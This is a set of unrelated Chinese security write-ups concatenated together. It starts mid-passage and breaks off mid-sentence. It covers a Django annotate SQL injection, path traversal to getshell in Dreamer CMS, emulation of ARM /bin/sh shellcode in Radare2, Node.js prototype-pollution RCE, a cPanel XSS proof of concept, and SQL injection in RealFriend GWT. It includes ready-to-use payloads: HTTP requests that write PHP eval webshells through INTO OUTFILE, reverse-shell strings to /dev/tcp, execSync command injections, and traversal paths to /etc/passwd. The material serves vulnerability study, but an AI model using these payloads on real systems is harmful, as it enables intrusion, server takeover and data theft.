HttpResponse('hello world') def users(request):    field = request.GET.get('field', 'name')    user_amount = User.objects.annotate(**{field: Count("name")})    html = ""    for u in user_amount:        html += "<h3>Amoount of users: {0}</h3>".format(u)    return HttpResponse(html) def loadexampledata(request):    u = User(name="Admin")    u.save()    u = User(name="Staff1")    u.save()    u = User(name="Staff12")    u.save()    return HttpResponse("ok") 三个函数分别是 helloword 函数,往数据库中加参数,以及查询数据库中的字段 ‍ 编写好代码后,需要对数据库执行初始化操作 python manage.py makemigrations python manage.py migrate ‍ 漏洞复现 先访问 initialize 为数据库中添加信息 构造 payload http://127.0.0.1:8000/demo/?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" -- 漏洞分析 发现一个问题,在加上断点调试以后,每次运行输出的结果跟不加断点运行的结果存在很大的差异,结果完全不同。不断尝试之后发现是因为在某些地方加上断点之后,在调试器中查看变量和状态可能会影响程序的执行速度和内存使用情况,为了方便的输出某些位置的变量,采用 print 的方法结合断点调试。 通过 get 传入的参数 field CVE202228346.demo.views.users 此处的**{field: Count("name")} 用来表示拆分字典 跟进 annotate 对传入参数的处理 django.db.models.query.QuerySet.annotate 继续将参数传入到 _annotate 进行处理 django.db.models.query.QuerySet._annotate 在将 kwargs 的值 update 到 annotations 后,调用 add_annotation 进行处理 django.db.models.sql.query.Query.add_annotation add_annotation 也是漏洞存在的关键位置,因为修复漏洞的关键位置也在此处 调用 resolve_expression 解析表达式 django.db.models.aggregates.Aggregate.resolve_expression django.db.models.expressions.Func.resolve_expression django.db.models.expressions.F.resolve_expression django.db.models.sql.query.Query.resolve_ref 最后我们可以看到 clone 对应的值 以及执行的 SQL 语句 整个漏洞分析下来,仍然有很多不太清楚的地方,可能再分析几个关于 Django 的漏洞会好一些 ‍ 漏洞修复 在 add_annotation 添加了 check_alias 来对传入的参数进行校验
记一次springboot项目漏洞挖掘
前言 前段时间的比赛将该cms作为了题目考察,这个cms的洞也被大佬们吃的差不多了,自己也就借此机会来浅浅测试下这个cms残余漏洞,并记录下这一整个流程,谨以此记给小白师傅们分享下思路,有错误的地方还望大佬们请以指正。 安装 参考官方文档,给出了很详细的安装说明,如安装遇到问题,可到官方论坛寻找解决方法,常见安装失败问题都有。 https://gitee.com/iteachyou/dreamer_cms#https://gitee.com/link?target=https%3A%2F%2Fwww.iteachyou.cc%2Farticle%2F55ec2939c29147eca5bebabf19621655该cms项目是基于springboot框架开发的,安装的时候需要的环境为 springboot+redis+mysql+ IDEA 配置文件主要是这两个application-prd.yml和application-dev.yml,需要配置好mysql数据库连接、redis连接以及网页静态资源路径,其余的安装上面的一步步安装即可。 安装成功后访问登陆页面 管理员账号密码已经给了,直接登录。 漏洞测试 风格管理模板存在任意编辑文件实现命令执行 经测试,发现后台风格管理模板上传主题压缩包时可以进行污染压缩包theme.json文件,达到目录穿越到服务器敏感目录,从而在模板管理在解析时没有进行检测可以任意编辑系统敏感文件导致GetShell,控制服务器权限。 漏洞产生的主要文件:主题上传Controller文件:src/main/java/cc/iteachyou/cms/controller/admin/ThemesController.java, 找到add方法。 首先是判断文件是否存在以及JSON解析是否正确;判断Key是否都存在;判断对应值是否为空;创建theme对象;判断设置路径是否已"default"开头。最后校验主题包各种配置是否正确。确认的话就成功上传。 但是没有对themePath路径问题进行检测,便可构造目录穿越,这也是该漏洞造成的关键原因。 最后是判断上传的压缩包里的各类信息无误后进入处理保存文件逻辑的save方法。 在上传的主题包里的\dreamer\dreamer-cms\templates\default_v3\theme.json文件,将目录穿越的构造替换主题包路径,更改之后theme.json文件内容如下: { "themeName":"新版主题", "themeImage":"http://localhost:8888/resource/img/dreamercms-logo.png", "themeAuthor":"", "themePath":"../../../../../../../../../../../../../../"//此路径要和模板文件夹的名称一致 } 虽然有检测,但是在之前themeDir已经被污染了,所以相当于检测相当于没有。接着检查是否有权限,startwith方法也没有问题。 `` 最后就是保存文件。到此时后台模板已被刚刚传入的构造污染,可以进行利用,效果如下: 将修改后的主题包上传 风格页面会多出一个新的主题 点击启用。然后查看模板管理页面,发现目录穿越成功,成功进入服务器的根目录,这时就相当于在自己服务器上编辑修改文件。 测试文件为/home/www 目录下的1.txt文件,原本是空文件。 在页面修改该文件,添加内容 然后保存,再到服务器里查看,成功将内容加入。 如果修改authorized_key文件便可进行免密登录,利用压缩校验不正确从而上传任意危险文件,例如一句话木马等来获取系统权限;还可以获取系统passwd文件获取敏感信息,也可以写计划任务进行命令执行。 该漏洞分析到此为止,接着是附件管理模板可以进行任意文件下载、删除。 # 附件管理模板可以进行任意文件下载、删除。 漏洞产生主要文件: src/main/java/cc/iteachyou/cms/controller/admin/AttachmentController.java添加附件功能的代码如下: 首先肯定是先添加附件,这里没有对attachment参数进行过滤。导致保存附件的时候目录穿越的构造就被保留了下来,对其进行解析后就可以将服务器的指定文件随意下载、删除,从而对服务器构成威胁。 下载、删除功能的代码都在同一个文件,都是通过刚刚的attachment参数,然后使用attachment.getFilepath()获取服务器文件路径,对其进行解析。 先看下载功能的代码: 这里也没有对 filePath变量进行过滤,所以总的来说就是添加附件和下载附件的两处代码,都没有对相应的变量进行检测过滤,从而导致漏洞产生。 删除功能的代码: 删除的话就没什么好说的,和上面一样的原理,试想下,如果可以任意删除服务器的配置文件,那不就相当于服务器要崩的节奏。 漏洞演示如下: 还是利用刚刚/home/www目录下的1.txt文件 在添加附件模块先随便上传一个本地文件(这里随便上传了一个theme.txt文件) burpsuite抓包如下 需要改的就是这个filepath参数对应的文件路径,将其修改为 ../../../../../../../../../../../../../home/www/1.txt 然后放包。 刷新页面,观察到多了一个theme.txt文件,下载下来并打开内容如下: 服务器里的/home/www/1.txt里的内容193840sswwloP 已成功写入本地theme.txt文件,任意下载文件成功。 删除效果,点击右边的删除。 发现该1.txt文件被删除了,任意删除文件成功。 # 模板管理存在任意文件包含 产生漏洞的主要文件:src/main/java/cc/iteachyou/cms/taglib/tags/IncludeTag.java If语句只是简单判断值是否为空,但是没有检测过滤字符,导致可以传入目录穿越的构造../../../../../../../../../../../../../home/www/1.txt进行文件包含,读取里面内容。接着在模板管理找到index_about.html 将../../../../../../../../../../../../../home/www/1.txt写入div标签并保存,如下图 接着访问主页里的关于我们: 可以看到,成功进行了文件包含,如将构造/home/www/1.txt换成/etc/passwd这类敏感文件,则被攻击者获取到关键信息,这里也测试下:修改构造 页面如期输出/etc/passwd文件里的信息。 总结 本文测试是在该cms旧版本上进行的,新版本对已有问题已进行了修复,这次对该java实现的cms漏洞挖掘收获满满,对cms安装、部署以及代码审计中要注意的点得到了良好的锻炼。
用Radare2模拟shellcode运行
当我们在编写汇编时,可能有的时候你需要看看编译器中到底发生了什么。如果你正在排除shellcode出现的问题,你那么更需要耐心地、慎重地运行指令。 本文将探讨如何在x86_64的Ubuntu系统上模拟32位ARM shellcode。由于大多数笔记本电脑和工作站还没有运行ARM,我们这里需要一种其他方法在系统上执行非原生的指令。另外,原始的shellcode二进制文件并不是可执行文件格式,并不能被大多数工具所运行,所以我们需要一种其他的方法来执行这些文件。 在这里我们使用的是Radare2, Radare2是一个控制台驱动的框架,集成了一套简便易用的二进制分析工具。你可以把这些工具编写成脚本,或者使用交互式的命令行界面。要在Ubuntu上设置这个,我们只需要几个简单的命令。 mkdir ~/github cd ~/github git clone https://github.com/radareorg/radare2.git cd radare2 sys/install.sh 如果你已经安装了radare2,请确保你目前运行的是最新版本。这个工具一直在积极维护并定期进行更新。另外,在2022年6月的版本之前有一些错误,使得此次试验可能无法更好的完成。 cd ~/github/radare2 git pull sys/install.sh r2 -V 为了复制我们将在本文中使用的shellcode二进制文件,你可以在bash提示符下运行以下内容: nemo@hammerhead:~$ echo -n -e '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00' > shellcode-696.bin nemo@hammerhead:~$ md5sum shellcode-696.bin 42ba1c77446594cac3508b940926575d shellcode-696.bin ESIL简介 可评估字符串中间语言(ESIL)是radare2使用的一种从硬件中抽象出来的指令,可以在不考虑底层硬件的情况下,来 "执行" 机器指令。这对于在仿真环境中执行非本地的汇编指令是非常理想的。 为了使用ESIL来执行我们的shellcode,我们需要做以下工作: 加载我们的shellcode二进制文件 配置radare2,使其知道如何正确解释我们的shellcode二进制文件 初始化ESIL 根据需要设置寄存器 通过我们的汇编指令来验证其功能 用 ESIL 执行ARM shellcode 加载我们的shellcode二进制文件 当我们对shellcode二进制文件运行 "file"命令时,我们看到Linux不能确定其文件格式。同样地,radare2也不能确定它是什么。 nemo@hammerhead:~/labs/shellcode/asm$ file shellcode-696.bin shellcode-696.bin: data 由于它只是一个二进制的文件,我们需要把它加载到radare2中后指定我们要看的是什么。在这里,我们修改了一些软件的分析设置,以便我们能够正确地分析我们的ARM文件: nemo@hammerhead:~/labs/shellcode/asm$ r2 shellcode-696.bin [0x00000000]> e anal.arch = arm [0x00000000]> e asm.arch = arm [0x00000000]> e asm.bits = 32 [0x00000000]> e anal.armthumb=true 配置radare2,使其知道如何正确运行我们的shellcode二进制文件 接下来我们要指定哪些指令是ARM,哪些是THUMB。我发现要做到这一点,就需要定义指令类型改变的函数。在这个特定的shellcode中,它会在ARM和THUMB指令之间进行切换。 [0x00000000]> af [0x00000000]> pdf ┌ 8: fcn.00000000 (); │ rg: 0 (vars 0, args 0) │ bp: 0 (vars 0, args 0) │ sp: 0 (vars 0, args 0) │           0x00000000     01308fe2       add r3, pc, 1 └           0x00000004     13ff2fe1       bx r3 在这个radare2命令的片段中,我正在分析一个地址为0的函数。在这里并不存在一个真正的函数,但是我们这样做是为了让我们的"函数"可以指定为ARM或者THUMB。"pdf "命令只是打印了函数的反汇编指令,这其中包含了add和bx指令。 <p>[0x00000000]> s 8 [0x00000008]> af [0x00000008]> pdf ┌ 24: fcn.00000008 (int32_t arg1, int32_t arg2); │           ; arg int32_t arg1 @ r0 │           ; arg int32_t arg2 @ r1 │           0x00000008     78460c30       andlo r4, ip, r8, ror r6 │           0x0000000c     c0460190       andls r4, r1, r0, asr 13   ; arg2 │       ┌─< 0x00000010     491a921a       bne 0xfe48693c │       │   0x00000014     0b2701df       svcle 0x1270b │       │   0x00000018     2f62696e       cdpvs p2, 6, c6, c9, c15, 1 └       │   0x0000001c     2f736800       rsbeq r7, r8, pc, lsr 6 [0x00000008]> afB 16</p> 从地址8开始的下一组指令是THUMB指令。"s 8 " 指令会在文件中寻找8个字节,并跳转到一个我们希望到达的地方,然后定义下一个 "函数"。用 "af "创建函数后,当我们试图用 "pdf "显示它时,它看起来有点古怪。这是因为工具仍然会将这些指令解释为ARM。 我们可以通过设置比特数为16来指定这个 "函数 " 是THUMB。也就是将asm.bits设置为16,不过只针对这个函数生效。在一个正常的ARM二进制文件中,radare2会尝试自动进行这种区分,但是由于我们只有这一串shellcode指令,我们仍然需要进行手动区分。 注意我们可以删掉前两条指令并使用全THUMB的shellcode。如果我们这样做,我们就可以在打开文件时设置 "e asm.bits=16",而不必再重新定义函数。只不过,如果需要的话,你可以区分这两种指令类型。 Radare2还有一个更方便的方法,就是用 "izz "命令显示二进制文件中的所有字符串。 > izz [Strings] nth paddr     vaddr     len size section type string ――――――――――――――――――――――――――――――――――――――――――――――――――――――― 0   0x00000008 0x00000008 4   5           ascii xF\f0 1   0x00000018 0x00000018 7   8           ascii /bin/sh</p> 现在我们已经能够正确的加载我们的shellcode二进制文件了。 初始化ESIL 如前所述,radare2内置了很多命令,在命令前缀中加入"?" 可以列出所有相关的命令。"ae? " 命令将列出与ESIL和仿真相关的命令。 [0x00000000]> ae? Usage: ae[idesr?] [arg] ESIL code emulation | ae [expr]               evaluate ESIL expression | ae?                     show this help | ae??                     show ESIL help | aea[f] [count]           analyse n esil instructions accesses (regs, mem..) | aeA[f] [count]           analyse n bytes for their esil accesses (regs, mem..) | aeb ([addr])             emulate block in current or given address | aeC[arg0 arg1..] @ addr appcall in esil | aec[?]                   continue until ^C | aef [addr]               emulate function | aefa [addr]             emulate function to find out args in given or current offset | aeg [expr]               esil data flow graph | aegf [expr] [register]   esil data flow graph filter | aei[?]                   initialize ESIL VM state (aei- to deinitialize) | aek[?] [query]           perform sdb query on ESIL.info | aeL                     list ESIL plugins | aep[?] [addr]           manage esil pin hooks (see “e cmd.esil.pin”) | aepc [addr]             change esil PC to this address | aer[?] [..]             handle ESIL registers like “ar” or “dr” does | aes[?]                   perform emulated debugger step | aets[?]                 esil Trace session | aev [esil]       visual esil debugger for the given expression or current instruction | aex [hex]               evaluate opcode expression 在这里,我们首先需要用 "aei "命令来初始化ESIL。之后,我们需要初始化一个堆栈。Radare2会自动选择一个堆栈的位置,不过这也可以使用"aeim "命令参数来指定地址 。 [0x00000008]> aei [0x00000008]> aeim 根据需要设置寄存器 由于我们的shellcode指令是从0开始的,我们需要用 "aepc 0 "命令将我们的程序计数器(PC)设置为0。如果我们想在偏移量0以外的位置开始执行,我们可以用 "aepc <address>"来设置起始地址。 [0x00000008]> aepc 0 我们的shellcode中的一条指令("subs r1, r1, r1")会将r1设置为0.由于这个寄存器默认已经为0,让我们将它设置为0xffff,这样我们就可以看到当我们在shellcode中步进时所发生的变化。要做到这一点,我们需要使用 "aer "命令。 [0x00000008]> aer r1 = 0xffff 通过我们的设置来验证其功能 好了,现在我们已经设置好了。我们可以切换到可视化模式,进入到调试器面板。在可视模式下有多个选项(面板),所以我们需要敲两次 "p "来进入正确的面板。如果你想在任何时候退出可视化模式,只需按下escape键。你也可以按"?"来查看可用的命令列表。 [0x00000008]> V (hit “p” twice to get to the debugger panel) 然后你会注意到靠近顶部有一组寄存器。它看起来会像这样: 通常在控制台输入的任何r2命令也可以在视觉模式下输入。例如,如果我们想打印偏移量为0x18的字符串,我们需要执行以下命令: # Hit “:” while in visual mode. > ps @0x18 /bin/sh > # Hit enter on a blank line to return to visual mode. 现在,我们可以通过使用"s "键来执行汇编指令。当你在浏览时,你会注意到顶部的寄存器与堆栈数据会一起被更新(在第一张图片中从0x00178000开始)。你还会注意到,下一条要执行的指令(又称PC)的地址在汇编指令中被突出显示(第一幅图中的0x00000010)。 注意,上面的图片显示r1寄存器持有0x0000ffff。还注意到下一条指令将会被执行,即 "subs r1, r1, r1"。这条指令将会从自身减去r1,并将其存回r1,本质上是使其变为0。 再次按 "s "键,进入下一条指令。 现在一切都准备好了,可以通过 "svc 1 "指令通过守护进程调用了。我们现在正在进行 "execve "调用,所以我们应该在r7寄存器中设置0xb。r0中的第一个参数应该是一个指向我们要执行的二进制文件路径的指针。我们可以发现r0持有0x18。我们可以通过运行以下命令来验证它的指向: # Hit “:” while at the “svc 1” instruction in visual mode. > ps @r0 /bin/sh > 现在我们没有向"/bin/sh "传递任何参数,也没有设置任何环境变量,因此我们可以发现r1和r2都被设置为0。 由于我们不是在ARM系统上运行,所以我们不能正确地使用守护进程调用("svc 1")指令。当你在测试更复杂的shellcode时,请牢记这一点。 总结 无论您是对自定义的shellcode进行故障排除,还是验证您所看到的静态内容,有时您只需要看看指令到底在做什么。Radare2允许您从一个未知的文件格式(如shellcode二进制文件或固件镜像)加载非本地汇编文件,并一步一步地执行指令。
JavaScript原型链污染学习记录
1.JS原型和继承机制 0> 原型及其搜索机制 NodeJS原型机制,比较官方的定义: 我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象, 而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法 设计原型的初衷无非是对于每个实例对象,其拥有的共同属性没必要对每个对象实例再分配一片内存来存放这个属性。而可以上升到所有对象共享这个属性,而这个属性的实体在内存中也仅仅只有一份。 而原型机制恰好满足这种需求。 打个不太恰当的比喻,对于每个对象,都有其原型对象作为共享仓库,共享仓库中有属性和方法供生产每个对象实例时使用 1> 原型链和继承 原型链 原型链是在原型上实现继承的一种形式 举个例子: function Father(){    this.name = "father";    this.age = 66; } function Son(){    this.name = "son"; } var father1 = new Father(); Son.prototype = father1; var son1 = new Son(); console.log(son1); console.log(son1.__proto__); console.log(son1.__proto__.__proto__); console.log(son1.__proto__.__proto__.__proto__); console.log(son1.__proto__.__proto__.__proto__.__proto__); /* Father { name: 'son' } Father { name: 'father', age: 66 } {} [Object: null prototype] {}       null */ 整个的原型继承链如下: 关于原型搜索机制: 1)搜索当前实例属性 2)搜索当前实例的原型属性 3)迭代搜索直至null 在上面的例子中 console.log(son1.name); console.log(son1.age); /* son 66 */ 2> 内置对象的原型 这个也是多级原型链污染的基础 拿一张业内很经典的图来看看 2.姿势利用 1>利用原型污染进行RCE global.process.mainModule.constructor._load('child_process').execSync('calc') 2>多级污染 在ctfshow Web340中有这么一题: /* login.js */  var user = new function(){    this.userinfo = new function(){    this.isVIP = false;    this.isAdmin = false;    this.isAuthor = false;       }; }  utils.copy(user.userinfo,req.body);  if(user.userinfo.isAdmin){   res.end(flag); } 由于Function原型对象的原型也是Object的原型,即 user --(__proto__)--> Function.prototype --(__proto__)--> Object.prototype 那么就可以通过这个进行多级污染,payload为如下形式: {    "__proto__":{        "__proto__":{            attack_code       }   } } 3>Lodash模块的原型链污染(以lodash.defaultsDeep(CVE-2019-10744)为例,进行CVE复现) lodash版本 < 4.17.12 CVE-2019-10744:在低版本中的lodash.defaultDeep函数中,Object对象可以被原型链污染,从而可以配合其他漏洞。 看下官方样例PoC的调试过程: const lodash = require('lodash'); const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}' function check() {    lodash.defaultsDeep({}, JSON.parse(payload));    if (({})['whoami'] === "hack") {        console.log(`Vulnerable to Prototype Pollution via ${payload}`);        console.log(Object.prototype);   } } check(); 开始调试: 在lodash中,baseRest是一个辅助函数,用于帮助创建一个接受可变数量参数的函数。 所以主体逻辑为,而这段匿名函数也将为func的函数的函数体 args.push(undefined, customDefaultsMerge); return apply(mergeWith, undefined, args); 查看overRest 在变量监听中可以发现,传入的参数整合成一个参数对象args 继续往下return apply 到apply后进入,是个使用switch并且根据参数个数作为依据 发现使用了call,这里可能是个进行原型链继承的可利用点。 (而这种技术称为借用构造函数,其思想就是通过子类构造函数中调用超类构造函数完成原型链继承) function Super(){} function Sub(){    Super.call(this); // 继承 } 然后apply中返回至刚才的匿名函数体中(此时刚执行完baseRest(func)),其中customDefaultMerge为merge的声明方式 继续深入,由上可知apply(func=mergeWith,thisArg=undefined,args=Array[4]) 基于start的计算机制,不难得知undefined是作为占位符,使得start向后移动 继续调试,在NodeJS中,普通函数中调用this等同于调用全局对象global 将assigner视为合并的一个黑盒函数即可,至此完成原型链污染。 Question: 注意到PoC中的lodash.defaultsDeep({}, JSON.parse(payload));是要求先传入一个object实例的(此处为{}) 所以还是具体分析一下合并的过程(来看下assigner的一些底层实现) 注意:通常而言,合并需要考虑深浅拷贝的问题 /*baseMerge*/    function baseMerge(object, source, srcIndex, customizer, stack) {      if (object === source) { // 优化判断是否为同一对象,是则直接返回        return;     }                // 遍历source的属性,选择深浅复制              baseFor(source, function(srcValue, key) {        if (isObject(srcValue)) {          stack || (stack = new Stack);          baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);       }        else {          var newValue = customizer            ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)           : undefined;          if (newValue === undefined) {            newValue = srcValue;         }          assignMergeValue(object, key, newValue);       }     }, keysIn);   }    var baseFor = createBaseFor();    function createBaseFor(fromRight) { // fromRight选择从哪端开始遍历      return function(object, iteratee, keysFunc) {        var index = -1,            iterable = Object(object),            props = keysFunc(object),            length = props.length;        while (length--) {          var key = props[fromRight ? length : ++index];          if (iteratee(iterable[key], key, iterable) === false) { // 这里的iteratee即为baseFor中的匿名函数            break;         }       }        return object;     };   } 那我就再调试一下,在iteratee中(即匿名函数中),若为对象,则选择深拷贝。 原来在4.17.12之前的版本也是有waf的,只是比较弱。 回归正题,在customizer之后便产生了合并 所以,为了更好地观察,我将{}替换成[](Array对象实例) 重新开始调试到此处并进入,发现这是一个迭代合并的过程,先判断是否都为对象。如果是的话,则会进行压栈然后开始浅拷贝合并。 这是在生成属性时需要设置的四种数据属性 回归正题,发现只能写入Array的原型 再验证一下 const lodash = require('lodash'); const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}' var object = new Object(); function check() {    // JSON.parse(payload)之后是一个JS对象    lodash.defaultsDeep([],JSON.parse(payload));    if (({})['whoami'] === "hack") {        console.log(`Vulnerable to Prototype Pollution via ${payload}`);        console.log(Object.prototype);   } } check(); console.log(Array.prototype); 所以说需要直接传入一个Object的实例。 官方修复,直接上waf:检测JSON中的payload中的key值 此处对比一下lodash4.17.12之前的版本,key值过滤得更为严格 总结一下,CVE-2019-10744可用的payload # 反弹shell {"constructor":{"prototype": {"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/vps/port \"')//"}}} # RCE // 对于某个object实例 {"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}} # 反弹shell {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"}}
cPanel XSS漏洞分析研究(CVE-2023-29489)
一、漏洞原理 漏洞简述 cPanel 是一套在网页寄存业中最享负盛名的商业软件,是基于于 Linux 和 BSD 系统及以 PHP 开发且性质为闭源软件;提供了足够强大和相当完整的主机管理功能,诸如:Webmail 及多种电邮协议、网页化 FTP 管理、SSH 连线、数据库管理系统、DNS 管理等远端网页式主机管理软件功能。 该漏洞可以无身份验证情况下利用,无论cPanel管理端口2080, 2082, 2083, 2086是否对外开放 漏洞影响范围 供应商:cPanel 产品:cPanel 确认受影响版本:< 11.109.9999.116 修复版本:11.109.9999.116, 11.108.0.13, 11.106.0.18, and 11.102.0.31 漏洞分析 本漏洞的漏洞点来自系统中涉及交互的关键变量未进行转义或过滤处理,导致攻击者可以构造恶意代码作为输入进行利用。 Httpd.pm: elsif ( 0 == rindex( $doc_path, '/cpanelwebcall/', 0 ) ) {    # First 15 chars are “/cpanelwebcall/”    _serve_cpanelwebcall(        $self->get_server_obj(),        substr( $doc_path, 15 ),   ); } 上述代码说明任何路径均会被路由到,包括目录后的字符部分。 其中涉及函数_serve_cpanelwebcall: sub _serve_cpanelwebcall ( $server_obj, $webcall_uri_piece ) {    require Cpanel::Server::WebCalls;    my $out = Cpanel::Server::WebCalls::handle($webcall_uri_piece);    $server_obj->respond_200_ok_text($out);        return; } 其中局部变量out为handle函数的返回值,是参数webcall_uri_piece的处理结果。 sub handle ($request) {    my $id = extract_id_from_request($request);    substr( $request, 0, length $id ) = q<>;    Cpanel::WebCalls::ID::is_valid($id) or do {        die _http_invalid_params_err("Invalid webcall ID: $id");   }; handle函数主要先从request提取id,之后根据id情况进行处理 sub _http_invalid_params_err ($why) {    return Cpanel::Exception::create_raw( 'cpsrvd::BadRequest', $why ); } _http_invalid_params_err函数主要是返回错误信息 进一步分析发现Httpd::ErrorPage下的 message_html变量未做任何处理,可被该漏洞利用 补丁部分 在最新版本cPanel可以看到针对该漏洞进行修复 Cpanel/Server/Handlers/Httpd/ErrorPage.pm: ++ use Cpanel::Encoder::Tiny               (); ... omitted for brevity ... ++ $var{message_html} = Cpanel::Encoder::Tiny::safe_html_encode_str( $var{message_html} ); 二、漏洞复现实战 漏洞复现 首先以某个cPanel target为例 之后根据POC进行复现 POC: http://example.com/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa http://example.com:2082/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa http://example.com:2086/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa 注:其他端口也有可能存在该漏洞 requests: - method: GET   path:     - '{{BaseURL}}/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa'   matchers:     - type: word       words:         - '<img src=x onerror="prompt(1)">' 执行POC 漏洞修复 建议更新至版本11.109.9999.116、 11.108.0.13 、11.106.0.18 和 11.102.0.31 启用cPanel 自动更新功能 结束语 本文主要介绍了CVE-2023-29489 cPanel XSS漏洞的原理分析及复现过程,漏洞主要由于涉及交互的关键变量未进行转义或过滤处理,从而造成攻击者可以在无身份验证情况下进行利用。
记一次某应用虚拟化系统远程代码执行
漏洞简介   微步在线漏洞团队通过“X漏洞奖励计划”获取到瑞友天翼应用虚拟化系统远程代码执行漏洞情报(0day),攻击者可以通过该漏洞执行任意代码,导致系统被攻击与控制。瑞友天翼应用虚拟化系统是基于服务器计算架构的应用虚拟化平台,它将用户各种应用软件集中部署到瑞友天翼服务集群,客户端通过WEB即可访问经服务器上授权的应用软件,实现集中应用、远程接入、协同办公等。   漏洞是因为未授权接口在接收参数时没有进行处理校验,存在 SQL 注入漏洞,又因为集成环境中的 mysql 拥有写入文件的权限,所以写入 webshell 最终导致代码执行。 影响版本   5.x <= 瑞友天翼应用虚拟化系统(GWT System) <= 7.0.2.         目前相关漏洞已修复。 环境搭建   从师傅处拷到的安装包 Gwt7.0.2.1.exe 默认模式安装,最后         在线注册获取试用 http://mop.realor.cn/TrialReg.aspx    注册成功后    登录页面 默认账号密码是 Admin/123      默认路径在 C:/Program Files (x86)/RealFriend/Rap Server/WebRoot      默认数据库配置地址 C:\Program Files (x86)\RealFriend\Rap Server\data\Config\CasDbCnn.dat      账号密码需要将其中的 # 替换为 = 并进行 base64 解码 漏洞复现与分析   通过 http://192.168.222.148/RAPAgent.XGI?CMD=GetRegInfo 查看版本信息      为了方便查看后端实际执行的完整sql,我们可以使用框架提供的 getLastSql() 方法来 获取最近一次执行的SQL语句    注入一IndexController.class.phpdologin    webroot/casweb/Home/Controller/IndexController.class.php:dologin    我们看到其中的 SQL 语句以及对该函数的请求路由    http://www.casweb.cn.x/index.php?s=/Index/dologin/name/admin/pwd/c4ca4238a0b923820dcc509a6f75849b   构造数据包 并打印出相对应的 sql 语句    因为默认没有开启验证码,所以可以直接到达 SQL 语句处   因为搭建环境时,使用了集成好的mysql 环境,拥有 DBA 的权限,所以可以在文件夹任意位置写入内容 show global variables like '%secure%';      secure_file_priv='' #允许写入到任何文件夹   利用报错信息得到项目的绝对路径    构造payload POST /index.php?s=/Index/dologin/name HTTP/1.1 Host: 192.168.222.148 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 221 name=1')+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, '<?php eval($_REQUEST["cmd"]);?>' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/dologin.php'#       查询管理员用户的账户和密码    注入二__ConsoleExternalUploadApi.XGI    webroot/ConsoleExternalUploadApi.XGI    获取到三个参数,当三个参数都不为空时,调用 getfarminfo 来进行处理    webroot/Function.XGI       webroot/Common.XGI    对 key 值没有做任何校验,所以可以构造 payload 实现注入 POST /ConsoleExternalUploadApi.XGI HTTP/1.1 Host: 192.168.222.148 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 46 Content-Type: application/x-www-form-urlencoded initParams=1&sign=2&key=FarmName'and sleep(5)#   修改了代码 打印出了 SQL 命令    构造实现注入写入文件 POST /ConsoleExternalUploadApi.XGI HTTP/1.1 Host: 192.168.222.148 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 170 Content-Type: application/x-www-form-urlencoded initParams=1&sign=1&key=1'union select '<?php eval($_REQUEST["cmd"]);?>' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/ConsoleExternalUploadApi.php'#          注入三ConsoleExternalUploadApi.XGIuploadAuthorizeKeyFile POST /ConsoleExternalUploadApi.XGI HTTP/1.1 Host: 192.168.222.148 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 122 initParams=command_uploadAuthorizeKeyFile__user_admin'and+sleep(5)#__pwd_1&key=inner&sign=d3adb9869bd6a377fa452930d920fd10    注入四ConsoleExternalApi.XGIcreateUser   ‍   之后的漏洞大抵上都可以描述为同一个漏洞,只是因为参数的不同,传入到不同的位置,在这里仅仅用一个来举例,之后的不再详细进行分析   我们从 ConsoleExternalApi.XGI 进行分析    通过 REQUEST 